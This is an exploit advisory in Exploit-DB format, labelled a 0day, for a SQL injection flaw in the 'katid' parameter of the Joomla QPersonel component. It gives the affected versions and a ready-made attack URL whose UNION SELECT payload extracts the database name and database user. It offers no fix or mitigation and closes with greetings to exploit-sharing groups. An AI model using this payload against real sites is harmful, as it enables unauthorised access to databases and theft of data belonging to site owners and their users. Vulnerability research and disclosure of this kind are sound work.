# Exploit Title: Joomla Component QPersonel SQL Injection Vulnerability
# Date: 13.04.2010
# Author: Valentin
# Category: webapps/0day
# Version: XSS security fix from 31.12.2009, 1.02 and before
# Tested on: Debian Lenny, MySQL 5
# CVE :
# Code :
[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
|:: >> General Information
|:: Advisory/Exploit Title = Joomla Component QPersonel SQL Injection Vulnerability
|:: By = Valentin Hoebel
|:: Contact = valentin@xenuser.org
|::
|::
[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
|:: >> Product information
|:: Name = QPersonel
|:: Vendor = Q-PROJE
|:: Vendor Website = http://www.qproje.com/
|:: Affected Versions = XSS security fix from 31.12.2009, 1.02 and before
|::
|::
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
|:: >> #1 Vulnerability
|:: Type = SQL Injection
|:: Vulnerable File(s) = qpersonel.php
|:: Vulnerable Parameter(s) = katid
|:: Example URL = index.php?option=com_qpersonel&task=qpListele&katid=XX+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat(database(),user())--
|:: Selected information gets displayed within the title tag.
|::
|::
[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
|:: >> Additional Information
|:: Advisory Published = 13.04.2010
|::
|::
[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
|:: >> Misc
|:: Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
|::
|::
[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
